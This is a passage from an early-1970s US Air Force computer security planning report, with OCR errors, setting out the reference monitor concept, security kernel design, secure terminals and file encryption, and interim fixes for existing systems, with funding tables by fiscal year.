reference monitor - that is a continuously invoked validation that all references made by 
a user's program or any (executive) program operating on a user's behalf, are authorized 
for that user. By incorporating the operating system service functions as implied por­
tions of each user program (by providing descriptors pointing to these objects) and 
representing the authorized references for a given executing program as a table of 
descriptors , a precise control of the execution of both the user-supplied and implied 
programs can be achieved. Such an arrangement can eliminate the monolithic nature 
of the executive by restricting the reference capability of most of the executive to that 
authorized to a given user and represented by the descriptor table for his program. 
Under such conditions, the security sensitive portions of the executive can be reduced 
to the representation of authorization for a user (i.e. what programs and data a given 
user may have access to), programs to alter and maintain the representation, and the 
executive functions that create and manage descriptor tables. These functions are 
considerably less than an entire executive, and give rise to the expectation that only 
a small part of an executive will have to be demonstrated to have been designed and 
implemented properly in order to certify a system as secure. 

It is not claimed that descriptor machines are intrinsically secure. Rather, they 
have the kind of architecture that provides efficient mechanisms that can be applied to 
the design of a Reference Monitor. 

We noted above that descriptor machines implement virtual memory. Another 
approach to achieving secure operation is to implement a virtual machine (in the sense 
of CP-67). The main limitation of this approach is that the sharing of data and program 
resources may be too restricted for some applications. However, the architecture of 
such as system can provide adequate execution control of a user's program or any 
program or any program operating on behalf of that user, and may be a suitable base 
for building an executive for multilevel secure systems where only hardware sharing 
is required. 

Descriptor machines that appear initially attractive as a basis for developing a 
system secure against attacks by malicious users include the Hewlett-Packard 3000 
and Honeywell 6180 (Multics) systems. The Burroughs 6700, while a descriptor 
machine, leaves some descriptors accessible to user programs making it very 
difficult to assure that the descriptors have not been altered by a malicious programmed. 

3. 6 Obtaining A Secure System 

It is clear that the reference validation mechanism described above is not a model 
of secure computing. It is a device to provide containment of programs in execution, 
and as such, is at the heart of any implementation of these ideas. Surrounding this 
particular element are others that collectively make up the security part of a system. 
These include the authorization mechanism, the access control mechanism, and for 
government applications, methods to record and properly label files and printed 
material with the proper security markings. 
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The first step in applying those ideas is to create a model or ideal description of a 
secure system that incorporates the various elements described above. It integrates the 
intended use, use environment, the threat, a definition of the desired authorization, and 
the notion of controlled sharing and reference monitoring to produce the specification of 
an "ideal" secure system. Different kinds of use, use environments, and threat will 
produce different models of what constitutes a secure system. We have suggested the 
following: 

Use: Multilevel, General Programming 

Use Environment: Open Use 

Threat: Malicious User 

Authorization: Unclassified - Top Secret 

The thrust of the modeling is to make sure that all of the necessary elements have been 
considered, and are properly reflected in a statement of the specification of a secure 
system. The model must be stated in terms that permit logical determination, that 
the desired security objectives will be achieved if indeed a system based on the model 
is produced. 

After the modeling has taken place, it is then possible to begin to develop the design 
for the security portion of a system, which we call the Kernel. The security Kernel 
design incorporates the reference validation mechanism , access control (to the system) 
and authorization mechanisms. Further, it will probably incorporate the administrative 
programs to represent and maintain user and program authorizations, since it is 
anticipated that the authorizations will change frequently. At this stage, the hardware 
architecture becomes important not only in achieving efficient implementation of the 
RVM but also in how other parts of the Kernel will be handled. 

During this stage, we would expect the application of both formal and informal 
techniques to continuously evaluate how well the Kernel design meets (conforms to) 
the ideal specified in the model. Based on the design, it is expected that it will be 
necessary to go through several levels of implementation, again employing the best 
certification techniques available to be sure that the result conforms to the model. 

The last stage is the integration of the Kernel with other existing software on the 
prototype system. In order to minimize the costs of the prototype development and to 
take advantage of the existing software, the panel recommended conducting the 
development on the HIS 6180 (Multics) System. 

We are not unmindful of other real technical problems that arise in connection with 
processing multilevel classified information. However, many of these are procedural 
in nature. Solutions to these problems without solving the malicious user problem 
merely provides the illusion of security and simultaneously a real danger of significant 
compromise. 



3. 7 The Engineering Development Plan 

The recommendation for the Engineering Development Plan comes from the obser­
vation that the cost of providing security for crypto equipment for terminals used in 
classified processing can exceed by many times the cost of the equipment itself, and 
that the effective accessibility of resource sharing systems becomes limited if the cost 
of using the system is increased due to the need to physically protect crypto equipment. 
In addition to reducing the direct costs of classified processing, a low cost secure 
computer terminal is necessary for unclassified processing in those situations where 
the risk of degraded service due to external penetration is evaluated as high. In general, 
the availability of such a terminal will make it possible to perform classified processing 
is any suitably cleared area with no additional costs incurred due to special protection 
of crypto equipment. 

The crypto multiplexer is similarly motivated as a means of making it possible 
to secure (with separate KG's) the terminal end of a link without incurring the cost of 
terminating each link into a separate KG. 

The file encryption techniques development is directed to solving the problem of 
handling classified removable media (tapes and discs), and the problems of attempting 
to provide rapid destruction of classified computer based information. 

The computer security handbook is an attempt to provide in one place, a collection 
of useful techniques that can be used in developing and operating a secure system. It is 
envisioned as containing standardized security practices associated with operating both 
single level and multilevel secure systems. 

3. 8 The Related Advanced Development Plan 

This plan, described in section VI, is presented as the only alternative the panel 
sees to operating all current systems as single level closed systems until the results 
of the Advanced Development program become assimilated technology. This plan 
recommends the early application of the results of the modeling activity conducted 
under the Advanced Development Plan to the development of secure Query/DMS based 
transaction systems , and to provide the basis of evaluating the feasibility of selective 
reimplementation of operating systems of USAF inventory machines. 

In all candor , the latter application is expected to show that it is not economically 
or technically feasible to reimplement such systems. Nevertheless , the problem is of 
such urgency, that we believe no avenue should be arbitrarily shut off without having 
been examined. 

With respect to the payoff of using the security modeling to guide the development 
of multilevel secure transaction systems, we are more optimistic. As a consequence, 
we have recommended the development of a multilevel secure Query/DMS system to 
serve as the nucleus of a variety of transaction systems. Although such systems would 
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remain vulnerable to 'trapdoors' placed in the operating system, we believe revised 
modes of operating would effectively eliminate this vulnerability. 

3. 9 Exploratory Development Plan 

The Exploratory Development Plan contains a variety of semi-independent topics 
that support the development of multilevel secure computers for the Air Force. These 
include studies of alternate hardware configurations for secure computing and techniques 
development for administrative and procedural aspects of security. 

These disproportionate size of the recommended program is a reflection of the fact 
that there has been no on-going program of exploratory development in the past. The 
panel believes that a vigorous program of exploratory development is necessary in order 
to bring a continuing stream of techniques and approaches to apply to the problem. 



SECTION IV 

THE DEVELOPMENT PLAN 

4. 1 Introduction 

The development plan is based on applying the concept of a reference monitor and 
the accompanying operating principles to derive a model of a secure computing environ­
ment. This model will be used to develop efficient designs for hardware and software 
mechanisms needed to provide a centralized protection mechanism, for a variety of 
applications, including the ultimate objective of a secure open-use multilevel system 
supporting general programming. 

4. 1. 1 Security Principles 

The technical threat in contemporary systems posed by a malicious user is that 
because the systems are produced using ad hoc security rules, a penetrator will find 
a design or implementation flaw, or induce a 'trap door' situation to obtain supervisory 
control of the system. An analysis of various successful programming attacks reveals 
that their success is dependent on the penetrators program or the supervisory system 
acting on his behalf making a reference to program or data not authorized for that 
user. While a kind of reference validation (in the form of memory protect features) 
applies to user programs in many contemporary systems, this validation is often not 
applied to the supervisor. Complicating the problem is the lack of viable hardware 
mechanisms in most contemporary systems to apply the reference constraints of a 
user's program to the supervisory system operating on his behalf. 

It is hypothesized that a system secure against internal malicious threat from a 
programmer·can result from employing a reference monitor to validate all references 
to programs or data according to the access authority of the user on whose behalf the 
program is executing. In concept, the reference monitor mediates each reference 
made by each program in execution by checking the proposed access against a list of 
accesses authorized for that user. The reference monitor concept is implemented as 
a reference validation mechanism. Accompanying this concept are the operating 
principles that: 

a. the reference validation mechanism must be tamper proof. 

b. the reference validation mechanism must always be involved. 

c. the reference validation mechanism must be small enough to be tested 
(exhaustively if necessary). 

These principles, vigorously applied, can result in integrating all of the system 
security controls for a system into one hopefully small portion of the operating system 
code. If this portion is than implemented correctly (i. e. , without any programming 
flaws), and cannot be altered by any other part/function of the system the security 

22 




concern of how the rest of the system or any user program is implemented is focused 
on the access authorization(s) permitted to the user(s) or programs. 

The concept of a reference monitor and the operating principles described above 
are derived from the work of Lampsonl, Graham and Denning2 and others in developing 
capability models, and represent the most viable approach to developing certifiable 
secure systems. An abstract model of secure computing, incorporating these prin­
ciples is needed to identify the security sensitive parts of operatl1Lg systems, and to 
provide a basis for evaluating the adequacy of a given operating system design. By 
having a model of secure computing, it is possible to develop integrated designs of 
protection mechanisms that incorporate in one place in a system all of the technical 
security mechanisms needed to provide a computing environment secure against the 
malicious user threat. The realization of a design from the model involves deter­
mining representations of access privileges, and a set of primitive operations needed 
to maintain the representations for the users. 

(Because the model is oriented to solving the problem of the malicious user, it 
does not deal with the problems of physical security, system access authorization, 
communications security etc. These important facets of system security must be 
dealt with using existing technology). 

Because the reference monitor concept implies interpretation of each reference 
made to determine the validity of the attempted access, efficient mechanisms for 
this interpretation are required if the concept is to be viable. 

4. 2 Outline of the Plan 

The development plan to achieve secure, open use systems has as its objective 
the development of a prototype of a secure computing system derived from a model 
of an 'ideal' secure computing system. The model development is considered to be 
the first step of the development, as it establishes the technical requirements of such 
a system. Based on the model, the design of a 'security kernel' incorporating the 
access control, reference validation and security related functions is to be undertaken 
and validated. Parallel with and contributing to the model development and kernel 
design are systems studies evaluating the applicability of various systems organiza­
tions to the problem. The result of all the studies culminate in the prototype develop­
ment which will implement the security kernel on a suitable system for a specific 
USAF 'customer'. 

The funding estimates shown below, for this and subsequent sections are the 
collective judgement of the panel as to the amounts needed to obtain various parts 

!Lampson, B. W., "Dynamic Protection Structures," Proceedings 1969 FJCC 

2araham, G.S. and Denning, P.J. "Protection-Principles and Practices," 
Proceedings 1972 SJCC. 



of the program. Like any estimate, these recommendations can be challanged on 
specific points. In general, they reflect the experience of people who understand 
the subject matter, the issues involved, the probable degree of difficulty of the task. 
All of the panel members had the experience of working on or managing similar tasks. 
It was assumed that the people doing the work described in this report were familiar 
with the issues involved, as well as the technology of operating systems, computers 
architecture and the interaction of these technologies in the design of resource sharing 
systems. 

4. 3 Development of Model 

The objective of this task is to provide a complete model framework for open-use, 
multilevel secure resource sharing system(s) , supporting general programming. The 
model will be based on the concept of validating each and every reference, and the ap­
plication of the operating principles of continuous invocation at all times, self-protec­
tion, and logical completeness. 

This development is an extension of the capability models of Lampson and others 
to incorporate elements found in Government classified information processing, and 
generalizes the notions of access to include people, terminals, and other non-central 
aspects of a computing facility. Successful completion of this task will provide a 
complete description of the essential aspects of security in computer systems, arid be 
applicable in a number of subsequent tasks. The task(s), schedule and funding are 
shown below. 

(All Funds Shown in$ Millions) FY 

Task 73 74 75 76 77 78 

Develop Model of Secure 
Resource Sharing 

.15 . 15 

4. 4 Security Kernel Design 

As part of the secure systems development program a key ingredient is to convert 
the secure systems models into operating systems components in order to determine 
a number of aspects that at present are only surmised. These aspects include the 
amount of code that is crucial to the security protection provided by the operating 
system and the degree of complexity this code represents. 

The objective for a security kernel design is to integrate in one part of an oper­
ating system all security related functions. This is for the purpose of being able to 
protect all parts of the security mechanism, and to apply certification techniques to 
the design. The kernel design transforms the abstract security model into computer 
hardware and software elements that represent the model. 

Earlier we indicated our preference for a certain kind of hardware for accomplishing 
these studies. We used the term 'descriptor-driven' virtual machine to describe that 
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hardware, although it must be emphasized that not all machines with descriptors are 
suitable nor are all machines suitable that can claim (to some degree) virtual processing 
capability. 

The key ingredient of the type of machines that are important to the achievement of 
a secure operating environment (user programmed open-use systems) is the use of 
descriptors to represent 'name spaces'. That is, the descriptors constrain the address­
ing of a user to only those parts of memory representing information referred to in his 
program and impose a hardware mediation on all references for instructions or data. 
The hardware mediation of all references on using descriptor mechanisms is essentially 
that required for security protection mechanisms. Further, descriptors provide an effi­
cient mechanism for checking the type of reference permitted for each user (e.g. , 
Read, Write, Execute). 

The task, schedule, and funding for the Security Kernel design is indicated below: 

FY 

Task 73 74 75 76 77 78 

Develop Security Kernel 
Design 

. 1 . 15 . 1 

4. 5 Systems Studies 

The panel strongly recommends the implementation of at least one fully documented 
and provable (certifiable) secure operating system, both to serve as an instance of what 
is required to achieve this level of security in a real system and to assist in the trans­
lation of the abstract modeling into a set of specifications that can be used to procure 
future systems of a similar kind. Although the panel favors the use of descriptor­
driven systems for providing general use, open-use secure systems, it is by no means 
the only avenue that can be explored, and it is recommended that the development pro­
gram include exploratory and developmental studies in the areas of functional distri­
bution of operating system functions over physically segregated machines and the 
"Shared Machine" approach of CP-67, VM/370. 

The former scheme, in some ways, modeled on the CDC 6600 family of equipment, 
is an alternate approach to providing secure operation since it physically isolates the 
user from security sensitive parts of the operating system itself. It is of interest to 
note that this approach to the work is that currently underway at University of California 
at Berkeley on the PRIME system. 

The Berkeley work and the security kernel approach are both dependent on the same 
thing: being able to isolate security sensitive portions of the operating system. In the 
latter case, the expectation that descriptor interpretation hardware can be used to 
maintain proper separation of the security sensitive portions of the operating system 
is reasonable, since if the separation does not work at this level it will not work at any 
of the lower levels and the system is invalid. Similarly, the notion of functional seg­
regation of portions of the operating system, particularly the security sensitive parts, 



depends on being able to identify these parts- and provide them a degree of physical 
protection by the functional and physical separation employed in that approach. We 
believe the development program should evaluate components of this work primarily 
because it appears that the notion of distributed function systems is reasonably prob­
able for future systems development in the next five to ten years. 

The "Shared Machine" notion of CP-67 and VM/370 provides a control program 
that shares the hardware of a physical computer among its users in a secure fashion 
that lets each user have a different "virtual machine" operating an operating system 
of his choice. It is a potential solution to the problem of sharing physical resources 
among users with disjoint information requirements. The data and file sharing capa­
bilities of this approach are somewhat primative; operating at the level of shared 
virtual media rather than shared logical files. 

Based on an evaluation of the various systems, the decision as to which approach 
to use in development of a prototype can be taken. 

The objective of the systems studies is to investigate alternative system ap­
proaches as a means of obtaining open-use multilevel secure systems. These 
studies will test the generality of the model of secure resource sharing by providing 
implementation alternatives and evaluate the applicability of other current systems 
work to USAF problems. Because of the latter point, the studies are planned over a 
three year period, with the major effort occurring in the first year. 

The tasks, schedule, and funding are shown below: 

FY 

Tasks 73 74 75 76 77 78 

1. 	 Investigate Partitions of . 1 . 05 . 05 

Operating System Functions 

to Isolate Security Related 

Functions (SRF) Including 

those Identified by Model 


2. 	 Define Interface Between . 05 

SRF and Other System 

Function 


3. 	 Evaluate Other Systems . 05 . 05 

Approaches as hnplemen­
tation Alternative 


Totals 	 . 2 .1 . 05 

4.6 Prototype Development 

Although it is possible that the results of the systems studies will favor other 
approaches for prototype development, it is anticipated that the prototype development 
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will take place on a single integrated system. The objective for the prototype develop­
ment is to provide a multilevel secure resource-sharing system as a demonstration 
vehicle, to determine what must be included in systems design and procurement speci­
fications for subsequent system purchases, and to tailor the development for a specific 
USAF customer. It is anticipated that the development will be done on an existing 
descriptor-driver virtual machine such as the ARPA-Sponsored Multics System in 
order to make as much use of previous work as possible and because of its demon­
strated usefulness. Further, the prototype will serve as a base for developments in 
security surveillance, and implementation certification and recertification techniques. 
The tasks, schedule and funding are shown below: 

FY 

Tasks 73 74 75 76 77 78 

1. 	 Select and acquire hard- . 05 

ware base for prototype 


2. 	 Identify Security Related . 1 

Functions (SRF) present 

in software base that will 

be replaced by Security 

Kernel design 


3. 	 Implement Security Kernel . 5 . 35 

on target machine 


4. 	 Reorganize Balance of • 2 . 2 

System Software to Inter­

face with Security Kernel 


5. 	 Certify Security Kernel . 2 . 1 

Implementation 


6. 	 Test and Evaluate . 3 . 3 . 2 . 1 

7. 	 Develop Procurement • 2 • 2 

Specifications for Secure 

System 


8. 	 ADP Support . 2 1. 0 1.0 1.0 . 5 . 3 

Totals 	 . 25 2. 0 2. 15 1. 5 . 7 • 4 



SECTION V 


SUPPORTING ENGINEERING DEVELOPMENT 


5 .1 Introduction 

Two areas of security developments have been identified as contributing to cost 
reduction in the design of information systems. These are a handbook of computer 
security techniques and the development of secure peripherals for use in resource 
sharing systems. 

5. 2 Handbook of Computer Security Techniques 

The purpose of this element is to make available to the USAF in readily 
available form the most current security technology which can be employed in the 
design and acquisition of systems. The product of this activity will be an unclassified, 
continuously maintained handbook which can be used by System Program Offices and con­
tractors alike to achieve a uniformly high standard in the acquisition of system security. 
Ultimately, the handbook should contain the following data (or direct references in lieu 
thereof): 

a. Criteria for classifying systems with respect to their security 
requirements. 

b. Threats to security and types of security failure. 

c. Design practices to defend against specific types of failure and threats . 

d. Known techniques and devices for access control, user identification, 
file labeling, system audit and surveillance, etc. 

e. Recommended security practices in the design, management, installation, 
and operation of secure systems. 

f. Recommended practices for the acquisition of secure systems, including 
model specification clauses and certification methods. (The state­
of-the-art does not pennit meaningful incorporation of this section at the 
start, but it is a development objective.) 

The initial effort should be directed to organizing, compiling and issuing a version 
of the handbook which will contain all currently available information on the topics listed 
above , and which will be in a form that permits its maintenance into the indefinite 
future. Following this is a continuing effort responsible for maintaining the handbook 
to reflect the current state-of-the-art. 
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The tasks, schedule and funding are: 

FY 

Tasks 73 74 75 76 77 78 

1. Initial Handbook-
Compilation 

.15 

2. Handbook-
Maintenance 

.1 .1 .1 .1 .1 

Totals .15 .1 .1 .1 .1 .1 

5.3 	Secure Peri:Qherals 

The inclusion of the development of secure peripherals as part of this plan is a 
reflection of the present high costs of physically securing terminal sites to protect 
them and their associated crypto equipment from tampering. These costs, and the 
costs associated with interfacing a large number of seGure lines to a central computer 
severly limit the application of resource sharing systems to current USAF problems. 
The prospect for spontaneous developments in these two areas is almost non-existent. 
Coupled with these developments is a program to eliminate the major existing problems 
of physically protecting magnetic media containing classified information. 

5. 3. 1 Secure Com:Quter Terminal For Office Environments 

The objectives for a secure office environment (computer) terminal is to design 
and develop a capability to provide inexpensive encryption between a remote terminal 
and a computer system which 

a. 	 is virtually transparent to the terminal operator (re: operation, physical 
protection, keying, etc.), and 

b. 	 adds minimally to terminal cost; i.e. , makes maximum use of terminal's 
resources such as clock, power, enclosure, etc. 

The advantages of an inexpensive/transparent/integrated terminal encryption 
device are: 

a. 	 More extensive use of remote terminal capability of secure ADP systems. 

b. 	 Protection against inadvertent spillage of classified information (if all 
users can be cleared and terminal areas can be physically protected to the 
level of information handled by the ADP system). 

c. 	 Depending on its application, it could provide terminal/user 
identification/authentication. 



The plan includes the development of six (6) prototypes in order to provide 
enough copies for test and evaluation. 

The Tasks, schedule and funding for this development are: 

FY 

78Tasks 	 73 74 75 76 77 

1. 	 Define terminal hardware .1 .05 

operation, transmission 

characteristics, communi­

cation model, and physical 

environment of the terminal 


2. 	 Develop appropriate 1.4 . 8 

encryption device, and 

method of use. Design and 

implement terminal hard­

ware incorporating device 

(6 prototypes) 


3. 	 Test and Evaluation of .1 .15 

Terminal 


4. 	 Develop Procurement .05 

Specifications 


Totals .1 1. 45 .9 .20 

5. 3 . 2 "Multiplexed" C r:ypto Concentrator 

The objectives of this development is to design a capability to provide encryption 
for all links between a computer and its remote terminals, and other computers 
(with one, or some very small number of crypto "devices") in order to 

a. 	 minimize cost, operator controls, space and other environmental 

requirements, 


b. 	 provide more than one secure communications path via the same 

transmission link, primarily on a time multiplexed basis. 


An ADP system generally has a large number of communications lines 
terminating at the computer. It is highly desirable that devices needed to secure 
any or all of these links do not considerably increase the cost nor impact the 
operations of the CPU facility. Additionally, transmission speeds are very slow 
relative to the speed of the computer and I/O, and a maximum utilization of these 
resources indicates a form of the store and forward approach as one possibility 
which would permit sharing of the encryption device. This device may also be 
designed to provide user/CPU/terminal authentication. 
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The Tasks, schedule and funding are shown below: 

FY 

Tasks 73 74 75 76 77 78 

1. Define the communications 
model, response delay, 
transmission speeds, 
variables transmission 
techniques, number of 
terminals to be served, 
their speeds, etc . 

.1 

2. Determine applicable design 
concepts, extent of inter­
face with and control by 
CPU. Develop prototype 
design. 

.1 .1 

3. Develop prototype model 
and interface it with a CPU. 

.1 .3 .1 

4. Test and Evaluation .2 .1 

5. Develop Procurement 
Specifications 

.1 

Totals .2 .2 .3 .4 .1 

5. 3. 3 File Encryption Techniques Development 

The objective of this development is to design a capability to encrypt 
any and all inform.ation stored on magnetic media in order to be able to handle 
the media as unclassified. This capability should not noticeably affect computer 
thruput or processing times; it should make maximum use of existing features of the 
computer; and it should be virtually transparent to, and independent of, the system 
user. 

A secure file encryption mechanism would alleviate a major existing problem 
of physically protecting magnetic media containing classified information. 
Depending on the technique developed, it might also protect against inadvertent 
spillage and file access errors. The principal benefit of this work appears to be in use 
in tactical systems or systems that exist in hazardous environments and which are 
exposed to capture. 
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The 	Tasks, schedule and funding are shown below: 

FY 

Tasks 73 74 75 76 77 

1. 	 Analyze file encryption . 05 
requirements to determine 
implementation technique 
(special hardware, software 
(in CPU), file processing 
computer) 

2. 	 Define crypto technique .145 .2 
interfaces to CPU and 
device controllers 

3. 	 Implement file .3 .2 
encryption 
capability 

4. 	 Integrate into ADP System .15 .15 
and Test 

5. 	 Develop Procurement .05 
Specifications 

Totals .15 .50 .35 .2 
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SECTION VI 

ALTERNATE ADVANCED DEVELOPMENT PLAN FOR 
INTERIM SOLUTIONS TO CURRENT PROBLEMS 

6. 1 	 Introduction 

The main thrust of the recommendations of this panel is to focus on obtaining 
solutions to obtain certifiably secure open-use multilevel application of resource sharing 
based on designs dervied from an abstract model of secure computing. However, cur­
rent systems security problems are so compelling that it is necessary to consider 
interim solutions to these as well. Our reasoning is based on the observation that no 
matter when a multilevel system secure against the malicious user threat is achieved, 
there will be a continued requirement to provide multilevel secure operations on sys­
tems already in the USAF inventory. Thus, until the design of multilevel secure systems 
becomes part of assimilated technology, and are commonly available from a variety of 
manufacturers , there will be a continuing security problem with existing systems. At 
present, the only safe step is to operate such systems as closed single security level 
systems. However, in a number of cases, this is an expensive proposition, since it 
implies that large numbers of people will have to be cleared even though their jobs 
require no access to classified material merely because they will be using a system 
that contains some classified information. Two systems, currently under development, 
that fall into this category include the Logistics Command's ALS , and the Military 
Airlift Commands MACIMS. Another major system that may have similar properties 
is the WWMCCS. Although unclassified processing by uncleared users is not a WWMCCS 
requirement; the ability to support both the National Command Authority and applications 
'local' to the WWMCCS site indicate the possibility of varigated clearances/classifications 
for the different kinds of work. 

In examining the current USAF environment, there are essentially three courses of 
action that can be taken: 

a) 	 Operate USAF systems as closed, single level systems 

b) 	 Develop restricted-capability multilevel systems, based on the models of 
secure systems developed as part of the Advanced Development Plan 

c) 	 Reimplement the operating systems of selected contemporary computers 
based on the security model(s) developed under the advanced development 
plan. 

Of course operating systems as closed single level systems are required in a 
number of USAF systems. For these environments , there is no need to do any more 
than is currently being done. However, for the many other real and potential applica­
tions environments that do not require the single security level operating environment, 
the single level approach is costly and unresponsive. Largely because the systems 
require some form of multilevel operation, the panel has considered and recommends 
development in two necessary areas. A useful restricted capability system is one that 



supports multilevel on-line query and data management operations. Here the prospects 
for success are quite good, and the development coincides with a number of current and 
planned USAF system applications. The recommendation for development of a secure 
higher-order language (HOL) only system described below is motivated by the consid­
eration that the operating environment is very similar to that needed for a secure 
Query/DMS system, and the design of a reference validation mechanism suitable for 
one would encompass many of the requirements for the other. The other consideration 
behind this recommendation is the fact that a general user programming capability is 
often needed in most environments , and this method appears to offer the best interim 
solution to providing that capability. 

The degree of threat posed by a malicious user in this kind of environment is a 
function of the amount of programming he can do. For example, if the malicious user 
can only (legitimately) use an on-line transaction-oriented Query and DMS, his capa­
bility to affect the operation of the system is limited by the intrinsic capability of the 
tools he can use. Most transaction-oriented systems do not provide the malicious 
user with sufficient tools to take over control of the system; he cannot attack the 
system with his own programs. He may be able to gain unauthorized access to 
classified data by exploiting a pre-programmed weakness due to careless design or 
implementation, or planted as a 'trap door' in the application or in the programming 
and operating systems supporting the application. The security threat posed by this 
mode of use depends on whether the application is designed in such a way as to assure 
that each user is fully controlled in all actions he may take on the system. In addi­
tion both the application and the programming and operating system for the hardware 
supporting the application must be implemented by trustworthy (cleared) personnel 
in order to preclude the possible inclusion of 'trap doors'. 

Because transaction-oriented systems are so prevalent in USAF applications, we 
recommend that the model be used as the base for developing a secure multilevel 
data management and query system as an interim way to obtain secure multilevel 
transaction systems. It appears feasible to augment the existing hardware and soft ­
ware controls in contemporary systems with a programmed reference validation 
interpreter, subject to the risk that trap doors have been inserted in the application 
or the software for the base machine. It may also be possible to use the same tech­
nique to support the general use of one or more of the higher order programming 
languages (only). 

While any realistic assessment of the trap door threat would have to conclude 
that to date there is no evidence of malicious placement of trap doors in contemporary 
system software, there is no technical problem to doing so. Under present modes 
of operation where installations accept operating system updates and even whole 
revisions of an operating system without quesVon, there is little doubt that the targeted 
system(s), could be induced to accept and install a trap door modification to their op­
erating system. 
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Further, as long as present day commercial computer hardware is used to base 
even transaction-oriented systems, the complexity and size of the operating system 
programs running in supervisory (control) state leaves the practicability of analyzing 
them (or their revision) for trap doors in doubt. 

The recommendation regarding reimplementation of current systems was the most 
controversial in the panel. Although the panel was not optimistic about its possible 
success , it was believed to be an important enough issue to warrent at least the feasi­
bility investigation. The panel was agreed that reimplementation or repair should only 
be undertaken after a model specifying what security was being provided was completed, 
and the reimplementation designed to implement the modeL 

6. 2 	 Data Management/Query and Higher Order Language (Only) Systems 

Although contemporary systems are unable to support general programming in a 
secure multilevel mode, the development of an abstract security model is directly 
applicable to the development of secure multilevel Query systems , and other kinds of 
transaction systems. It is also possible that it can be applied to general programming 
only in restricted languages (e. g., FORTRAN or JOVIAL) although the efficiency in 
such application may be unacceptable in some environments. Described below are two 
areas of a secure open-use system. These are important because they can be realized 
on systems currently in USAF inventory, and will provide secure multilevel information 
processing operations suitable for many current USAF applications. 

6. 2. 1 Security Requirements of Query Systems 

The 	security of a Query system is dependent on the: 

• 	 access control and reference validation mechanism , 

• 	 limitations on expressive power of the query language, 

• 	 interpretive execution of the query language. 

Access control in a query system must restrict each user to the portions of the 
data base to which has has been authorized, while the reference validation mechanism 
restricts the user to the portion of the data base he is authorized. 

A query language should be limited in its expressive power in three ways: 

• 	 It should be able to reference data elements by name only and not by 

storage location or by relative identification. 


• 	 The functions on the data elements that can be invoked should be limited 
to those needed for the application; they should be referenced by name and 
it should not be possible to algorithmically construct complex functions. 

• 	 It should not provide direct links to a host programming language. 



Interpretive execution ensures that the user cannot directly modify the machine 
code, thus complying with the tamper-resistant and continuous invocation principle. 
This is in contrast to the compiler type programming systems , in which a user writes 
a program in a higher order language, after which program is compiled and returned 
to the user as a machine language program. The user may then have the opportunity 
to modify the machine language program before it is executed. With interpretive 
execution, the user cannot do that. 

It is believed that the abstract security model will form the basis for designing 
an interpretive reference monitor that will be a powerful reference validation mech­
anism for this kind of application. 

6. 2. 2 Security Requirements for HOL-only Systems 

A higher order language (HOL)-only system is one in which the user of the system 
can program only in one or more approved languages that are translated into machine 
code by an approved compiler, and which are executed in an approved environment 
(called the run-time package) that controls the reference capabilities of the program. 
Within these constraints the user is permitted to write any program he can express in 
the language(s) given him. 

The major vulnerability to be guarded against in HOL-only systems is the possibility 
that the user (programmer) of the system may escape from the higher order language 
to enter or execute arbitrary machine code of his choice, and defeat or bypass the 
run-time package. 

In the discussion to follow, we refer to FORTRAN because it is a common language 
and serves the purposes of illustration. The primary technical problem is whether the 
FORTRAN user can break out of the FORTRAN envelope into data areas and thus be 
able to execute arbitrary instructions planted in the program as data. 

In order to break out of the FORTRAN envelope it is necessary to be able to 
execute references outside of those defined by the FORTRAN program itself. 
These would include references beyond the upper or lower bounds of an array 
branching to an unlabeled area, or being able to overlay code with data. In general, 
the ability to write beyond the defined area for code or data in FORTRAN is sufficient 
to break out of the FORTRAN confines into the domain of the real machine. 

Considering these problems, we can establish the following requirements for a 
secure higher order language (only) system. 

a. There is a rigorous separation of code from data .(of all kinds, including 
constants). 

b. All references to data (of all kinds) are validated to assure that no code 
locations are accidentally or otherwise obtained. 
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c. 	 All transfers of control are validated to assure that the control point sought 
lies within the code area only, and only to recognized labels. 

d. 	 All input-output transfers are validated to assure that data read or written 
is that authorized to the user, and does not overflow the boundary of the 
array or vector being referenced. 

An interpretive reference monitor based on the abstract security model may be 
able to validate such accesses and provide a secure HOL only multi-level pro­
gramming capability on contemporary equipment. 

The tasks, schedule and funding for these developments are given below: 

FY 

Tasks 	 73 74 75 76 77 78 

1. 	 Develop Reference .1 .2 

Validation Interpreter 

Design 


2. 	 Apply to (Implement) .2 .3 .2 

DMS/Query System for 

contemporary machine 


3. 	 Apply to Higher Order .1 .2 .1 

Language (only) Program­

ming environment on 

contemporary machine 


Totals .4 . 7 .3 

6. 3 	 Repair of Current Systems 

The basis for recommending this particular development is the fact that present 
systems are not technically secure for applications where programming is one mode 
of use of a system. It is not just the so-called open-secure systems that are of 
concern. Rather it is the fact that nearly all of the systems that support general 
programming have an inadequate technological base to provide even minimum 
need-to-know on security controls. 

It is also evident that even if a fully certified secured system or systems were 
presently available that replacement of the existing inventory of computer systems 
and the applications contained thereon is not feasible, nor do we believe that it is 
feasible at any time in the foreseeable future under similar circumstances. As a 
consequence, it is necessary to at least examine the steps necessary to provide 
security on existing systems even though these steps may be properly viewed as a 
stopgap measure. 



The secure computing model can provide a basis for examining the design and 
implementation of contemporary computing systems and assessing the degree of effort 
required for their repair. The objective of this effort is to survey key contemporary 
systems to determine whether it is economically feasible to redesign and/or reimple­
ment their operating systems to provide secure computing enviromrents to the applica­
tions based on these systems. 

The panel cannot overemphasize its belief that "patching" of known faults in the 
design or implementation of existing systems without any better technical foundation 
than is presently available, is futile for achieving multilevel security. We wish to 
distinguish, however, between the patching problem and the possibility of selective 
re-implementation of portions of an operating system to eliminate known security 
deficiencies and to provide a better technical foundation for the development of more 
secure systems for some environments. We do not see any method to provide the 
level of security desired by the Air Force for many of its systems through any simple 
technique or simple fix. It is also evident that re-implementation of nearly all 
contemporary systems would be necessary in order to provide even the minimum level 
of privacy necessary to implement need-to-know controls in all applications involving 
classified information. It is recommended that only those systems in widespread use 
be considered. Obviously, a prime candidate for such a system would be the 
WWMCCS using the Honeywell 6000 series equipment. 

6. 3. 1 Reimplementation 

The most obvious solution for an existing system with security problems is to 
rewrite the software following the principles of the abstract security model. This is 
a problem of unknown magnitude and requires a feasibility study to determine if it 
should even be undertaken. 

In this connection it may be possible to reduce the cost of reimplementing 
current operating systems to overcome their security deficiencies by applying the 
techniques and technology of virtual machines. Specifically, it would be necessary 
to examine current operating systems to determine whether or not the availability 
of an applique of hardware (such as the Bolt, Beranek & Newman paging box and 
monitor for the TENEX System based on the PDP-10) or the possibility of modifica­
tion of the hardware to create a segmented virtual memory system would have any 
effect on either the extent and/or the cost of reimplementing those portions of the 
systems judged to be deficient in security. Techniques to be examined also include 
the possibility of creating independent virtual machines for each process (program/ 
